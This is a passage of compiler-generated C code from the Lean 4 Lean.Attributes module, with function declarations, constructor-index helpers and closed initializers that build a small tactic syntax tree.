static lean_object* l_Lean_registerEnumAttributes___rarg___closed__2;
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2___rarg(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2(lean_object*);
static lean_object* l_Lean_registerAttributeImplBuilder___lambda__1___closed__1;
lean_object* lean_array_uget(lean_object*, size_t);
LEAN_EXPORT lean_object* l_Lean_HashMapImp_moveEntries___at_Lean_registerAttributeImplBuilder___spec__4(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__4___boxed(lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__7___closed__1;
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___boxed(lean_object*, lean_object*);
lean_object* lean_io_error_to_string(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__3___boxed(lean_object*);
static lean_object* l_Lean_Attribute_Builtin_ensureNoArgs___closed__3;
lean_object* lean_st_ref_set(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5___boxed(lean_object*, lean_object*);
lean_object* l_Lean_RBNode_fold___at_Lean_mkModuleData___spec__8(lean_object*, lean_object*);
size_t lean_usize_shift_left(size_t, size_t);
lean_object* l_Lean_Name_mkStr4(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__4___boxed(lean_object*);
static lean_object* l_Lean_registerEnumAttributes___rarg___lambda__3___closed__4;
lean_object* l_List_redLength___rarg(lean_object*);
static lean_object* l_Lean_registerEnumAttributes___rarg___lambda__3___closed__1;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__2;
static lean_object* l_Lean_Attribute_Builtin_ensureNoArgs___closed__2;
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__7___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* lean_get_num_attributes(lean_object*);
LEAN_EXPORT lean_object* l_Lean_AssocList_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__2___boxed(lean_object*, lean_object*);
static lean_object* l_Lean_mkAttributeImplOfConstantUnsafe___closed__4;
static lean_object* l_Lean_mkAttributeImplOfBuilder___closed__1;
LEAN_EXPORT lean_object* l_Lean_setEnv___at_Lean_registerParametricAttribute___spec__3___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_instInhabitedTagAttribute___closed__2;
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552_(lean_object*);
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg(lean_object*, uint8_t, lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* lean_string_append(lean_object*, lean_object*);
static lean_object* l_Lean_instInhabitedTagAttribute___closed__7;
LEAN_EXPORT uint8_t l___private_Lean_Attributes_0__Lean_beqAttributeApplicationTime____x40_Lean_Attributes___hyg_23_(uint8_t, uint8_t);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__12;
LEAN_EXPORT uint8_t l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367_(uint8_t, uint8_t);
LEAN_EXPORT lean_object* l_Lean_getAttributeImpl(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__4(lean_object*);
static lean_object* l_Lean_Attribute_Builtin_ensureNoArgs___closed__7;
static lean_object* l_Lean_mkAttributeImplOfConstantUnsafe___closed__2;
lean_object* lean_array_get_size(lean_object*);
static lean_object* l_Lean_instInhabitedAttributeExtensionState___closed__1;
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1(lean_object*);
lean_object* l_Lean_Syntax_isNatLit_x3f(lean_object*);
static lean_object* l_Lean_Attribute_Builtin_getIdent_x3f___closed__4;
static lean_object* l_Lean_registerTagAttribute___lambda__4___closed__6;
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__1(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_ofExcept___at_Lean_Attribute_add___spec__1(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAux_traverse___at_Lean_registerBuiltinAttribute___spec__3___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerParametricAttribute___rarg___lambda__4___closed__3;
uint8_t lean_nat_dec_le(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl___lambda__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__7___closed__2;
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__5(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_Attribute_Builtin_ensureNoArgs___closed__6;
static lean_object* l_Lean_registerParametricAttribute___rarg___lambda__4___closed__1;
static lean_object* l_Lean_instBEqAttributeApplicationTime___closed__1;
LEAN_EXPORT lean_object* l_Lean_registerAttributeImplBuilder(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_HashMap_insert___at_Lean_registerAttributeImplBuilder___spec__1(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedEnumAttributes(lean_object*);
lean_object* lean_nat_add(lean_object*, lean_object*);
lean_object* l_Lean_PersistentHashMap_getCollisionNodeSize___rarg(lean_object*);
LEAN_EXPORT lean_object* l_Lean_instBEqAttributeApplicationTime;
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__7___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__20;
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__5;
static lean_object* l_Lean_mkAttributeImplOfConstantUnsafe___closed__3;
static lean_object* l_Lean_instInhabitedTagAttribute___closed__8;
LEAN_EXPORT lean_object* l_Lean_ofExcept___at_Lean_Attribute_add___spec__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeKind_toCtorIdx___boxed(lean_object*);
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__2;
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(lean_object*, size_t, size_t, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__17;
LEAN_EXPORT lean_object* l_Lean_mkHashMap___at_Lean_initFn____x40_Lean_Attributes___hyg_3846____spec__1(lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_containsAtAux___at_Lean_registerBuiltinAttribute___spec__7___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getIdent_x3f(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__8(lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* lean_array_uset(lean_object*, size_t, lean_object*);
lean_object* l_Lean_MessageData_ofName(lean_object*);
static lean_object* l_Lean_instInhabitedTagAttribute___closed__5;
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2___rarg(lean_object*, lean_object*, lean_object*);
lean_object* lean_array_get(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterSet___default___rarg(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__3(lean_object*);
static lean_object* l_Lean_instInhabitedEnumAttributes___closed__1;
LEAN_EXPORT lean_object* l_Lean_mkHashMap___at_Lean_initFn____x40_Lean_Attributes___hyg_3846____spec__1___boxed(lean_object*);
static lean_object* l_Lean_registerBuiltinAttribute___closed__1;
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1___rarg(lean_object*, lean_object*);
static lean_object* l_Lean_instInhabitedAttributeImpl___lambda__1___closed__1;
static lean_object* l_Lean_Attribute_Builtin_ensureNoArgs___closed__5;
lean_object* l_Nat_repr(lean_object*);
LEAN_EXPORT uint8_t l_Lean_HashMapImp_contains___at_Lean_registerAttributeImplBuilder___spec__7(lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__19;
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent___spec__2(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_attributeImplBuilderTableRef;
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImplCore;
size_t lean_usize_land(size_t, size_t);
lean_object* l_Lean_PersistentEnvExtension_setState___rarg(lean_object*, lean_object*, lean_object*);
lean_object* l_List_toArrayAux___rarg(lean_object*, lean_object*);
lean_object* l___private_Lean_Data_HashMap_0__Lean_numBucketsForCapacity(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_registerTagAttribute___spec__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Array_qsort_sort___at_Lean_mkTagDeclarationExtension___spec__1(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterSet___default___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedParametricAttribute(lean_object*);
static lean_object* l_Lean_registerEnumAttributes___rarg___closed__1;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__25;
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_toCtorIdx(uint8_t x_1) {
_start:
{
switch (x_1) {
case 0:
{
lean_object* x_2;
x_2 = lean_unsigned_to_nat(0u);
return x_2;
}
case 1:
{
lean_object* x_3;
x_3 = lean_unsigned_to_nat(1u);
return x_3;
}
default:
{
lean_object* x_4;
x_4 = lean_unsigned_to_nat(2u);
return x_4;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_toCtorIdx___boxed(lean_object* x_1) {
_start:
{
uint8_t x_2; lean_object* x_3;
x_2 = lean_unbox(x_1);
lean_dec(x_1);
x_3 = l_Lean_AttributeApplicationTime_toCtorIdx(x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg___lambda__1(lean_object* x_1) {
_start:
{
lean_inc(x_1);
return x_1;
}
}
static lean_object* _init_l_Lean_AttributeApplicationTime_noConfusion___rarg___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_AttributeApplicationTime_noConfusion___rarg___lambda__1___boxed), 1, 0);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg(uint8_t x_1, uint8_t x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_AttributeApplicationTime_noConfusion___rarg___closed__1;
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_AttributeApplicationTime_noConfusion___rarg___boxed), 3, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg___lambda__1___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_AttributeApplicationTime_noConfusion___rarg___lambda__1(x_1);
lean_dec(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
uint8_t x_4; uint8_t x_5; lean_object* x_6;
x_4 = lean_unbox(x_1);
lean_dec(x_1);
x_5 = lean_unbox(x_2);
lean_dec(x_2);
x_6 = l_Lean_AttributeApplicationTime_noConfusion___rarg(x_4, x_5, x_3);
return x_6;
}
}
static uint8_t _init_l_Lean_instInhabitedAttributeApplicationTime() {
_start:
{
uint8_t x_1;
x_1 = 0;
return x_1;
}
}
LEAN_EXPORT uint8_t l___private_Lean_Attributes_0__Lean_beqAttributeApplicationTime____x40_Lean_Attributes___hyg_23_(uint8_t x_1, uint8_t x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint8_t x_5;
x_3 = l_Lean_AttributeApplicationTime_toCtorIdx(x_1);
x_4 = l_Lean_AttributeApplicationTime_toCtorIdx(x_2);
x_5 = lean_nat_dec_eq(x_3, x_4);
lean_dec(x_4);
lean_dec(x_3);
return x_5;
}
}
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_beqAttributeApplicationTime____x40_Lean_Attributes___hyg_23____boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
uint8_t x_3; uint8_t x_4; uint8_t x_5; lean_object* x_6;
x_3 = lean_unbox(x_1);
lean_dec(x_1);
x_4 = lean_unbox(x_2);
lean_dec(x_2);
x_5 = l___private_Lean_Attributes_0__Lean_beqAttributeApplicationTime____x40_Lean_Attributes___hyg_23_(x_3, x_4);
x_6 = lean_box(x_5);
return x_6;
}
}
static lean_object* _init_l_Lean_instBEqAttributeApplicationTime___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l___private_Lean_Attributes_0__Lean_beqAttributeApplicationTime____x40_Lean_Attributes___hyg_23____boxed), 2, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instBEqAttributeApplicationTime() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_instBEqAttributeApplicationTime___closed__1;
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_instMonadLiftImportMAttrM___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_5 = lean_st_ref_get(x_3, x_4);
x_6 = lean_ctor_get(x_5, 0);
lean_inc(x_6);
x_7 = lean_ctor_get(x_5, 1);
lean_inc(x_7);
lean_dec(x_5);
x_8 = lean_ctor_get(x_6, 0);
lean_inc(x_8);
lean_dec(x_6);
x_9 = lean_ctor_get(x_2, 2);
lean_inc(x_9);
x_10 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_10, 0, x_8);
lean_ctor_set(x_10, 1, x_9);
x_11 = lean_ctor_get(x_2, 5);
x_12 = lean_apply_2(x_1, x_10, x_7);
if (lean_obj_tag(x_12) == 0)
{
uint8_t x_13;
x_13 = !lean_is_exclusive(x_12);
if (x_13 == 0)
{
return x_12;
}
else
{
lean_object* x_14; lean_object* x_15; lean_object* x_16;
x_14 = lean_ctor_get(x_12, 0);
x_15 = lean_ctor_get(x_12, 1);
lean_inc(x_15);
lean_inc(x_14);
lean_dec(x_12);
x_16 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_16, 0, x_14);
lean_ctor_set(x_16, 1, x_15);
return x_16;
}
}
else
{
uint8_t x_17;
x_17 = !lean_is_exclusive(x_12);
if (x_17 == 0)
{
lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22;
x_18 = lean_ctor_get(x_12, 0);
x_19 = lean_io_error_to_string(x_18);
x_20 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_20, 0, x_19);
x_21 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_21, 0, x_20);
lean_inc(x_11);
x_22 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_22, 0, x_11);
lean_ctor_set(x_22, 1, x_21);
lean_ctor_set(x_12, 0, x_22);
return x_12;
}
else
{
lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26; lean_object* x_27; lean_object* x_28; lean_object* x_29;
x_23 = lean_ctor_get(x_12, 0);
x_24 = lean_ctor_get(x_12, 1);
lean_inc(x_24);
lean_inc(x_23);
lean_dec(x_12);
x_25 = lean_io_error_to_string(x_23);
x_26 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_26, 0, x_25);
x_27 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_27, 0, x_26);
lean_inc(x_11);
x_28 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_28, 0, x_11);
lean_ctor_set(x_28, 1, x_27);
x_29 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_29, 0, x_28);
lean_ctor_set(x_29, 1, x_24);
return x_29;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_instMonadLiftImportMAttrM(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_instMonadLiftImportMAttrM___rarg___boxed), 4, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_instMonadLiftImportMAttrM___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_instMonadLiftImportMAttrM___rarg(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("Lean", 4);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("Parser", 6);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("Tactic", 6);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__4() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("tacticSeq", 9);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__5() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__2;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__3;
x_4 = l___auto____x40_Lean_Attributes___hyg_266____closed__4;
x_5 = l_Lean_Name_mkStr4(x_1, x_2, x_3, x_4);
return x_5;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__6() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = lean_unsigned_to_nat(0u);
x_2 = lean_mk_empty_array_with_capacity(x_1);
return x_2;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__7() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("tacticSeq1Indented", 18);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__8() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__2;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__3;
x_4 = l___auto____x40_Lean_Attributes___hyg_266____closed__7;
x_5 = l_Lean_Name_mkStr4(x_1, x_2, x_3, x_4);
return x_5;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__9() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("null", 4);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__10() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = lean_box(0);
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__9;
x_3 = l_Lean_Name_str___override(x_1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__11() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("exact", 5);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__12() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__2;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__3;
x_4 = l___auto____x40_Lean_Attributes___hyg_266____closed__11;
x_5 = l_Lean_Name_mkStr4(x_1, x_2, x_3, x_4);
return x_5;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__13() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = lean_box(2);
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__11;
x_3 = lean_alloc_ctor(2, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__14() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__13;
x_3 = lean_array_push(x_1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__15() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("Term", 4);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__16() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("declName", 8);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__17() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__2;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__15;
x_4 = l___auto____x40_Lean_Attributes___hyg_266____closed__16;
x_5 = l_Lean_Name_mkStr4(x_1, x_2, x_3, x_4);
return x_5;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__18() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("decl_name%", 10);
return x_1;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__19() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = lean_box(2);
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__18;
x_3 = lean_alloc_ctor(2, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__20() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__19;
x_3 = lean_array_push(x_1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__21() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4;
x_1 = lean_box(2);
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__17;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__20;
x_4 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_4, 0, x_1);
lean_ctor_set(x_4, 1, x_2);
lean_ctor_set(x_4, 2, x_3);
return x_4;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__22() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__14;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__21;
x_3 = lean_array_push(x_1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__23() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4;
x_1 = lean_box(2);
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__12;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__22;
x_4 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_4, 0, x_1);
lean_ctor_set(x_4, 1, x_2);
lean_ctor_set(x_4, 2, x_3);
return x_4;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__24() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__23;
x_3 = lean_array_push(x_1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__25() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4;
x_1 = lean_box(2);
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__10;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__24;
x_4 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_4, 0, x_1);
lean_ctor_set(x_4, 1, x_2);
lean_ctor_set(x_4, 2, x_3);
return x_4;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__26() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__25;
x_3 = lean_array_push(x_1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__27() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4;
x_1 = lean_box(2);
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__8;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__26;
x_4 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_4, 0, x_1);
lean_ctor_set(x_4, 1, x_2);
lean_ctor_set(x_4, 2, x_3);
return x_4;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__28() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__27;
x_3 = lean_array_push(x_1, x_2);
return x_3;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266____closed__29() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4;
x_1 = lean_box(2);
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__5;
x_3 = l___auto____x40_Lean_Attributes___hyg_266____closed__28;
x_4 = lean_alloc_ctor(1, 3, 0);
lean_ctor_set(x_4, 0, x_1);
lean_ctor_set(x_4, 1, x_2);
lean_ctor_set(x_4, 2, x_3);
return x_4;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_266_() {
_start:
{
lean_object* x_1;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__29;
return x_1;
}
}
static uint8_t _init_l_Lean_AttributeImplCore_applicationTime___default() {
_start:
{
uint8_t x_1;
x_1 = 0;
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImplCore___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("", 0);
return x_1;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImplCore___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2; uint8_t x_3; lean_object* x_4;
x_1 = lean_box(0);
x_2 = l_Lean_instInhabitedAttributeImplCore___closed__1;
x_3 = 0;
x_4 = lean_alloc_ctor(0, 3, 1);
lean_ctor_set(x_4, 0, x_1);
lean_ctor_set(x_4, 1, x_1);
lean_ctor_set(x_4, 2, x_2);
lean_ctor_set_uint8(x_4, sizeof(void*)*3, x_3);
return x_4;
}
}
static lean_object* _init_l_Lean_instInhabitedAttributeImplCore() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_instInhabitedAttributeImplCore___closed__2;
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_AttributeKind_toCtorIdx(uint8_t x_1) {
_start:
{
switch (x_1) {
case 0:
{
lean_object* x_2;
x_2 = lean_unsigned_to_nat(0u);
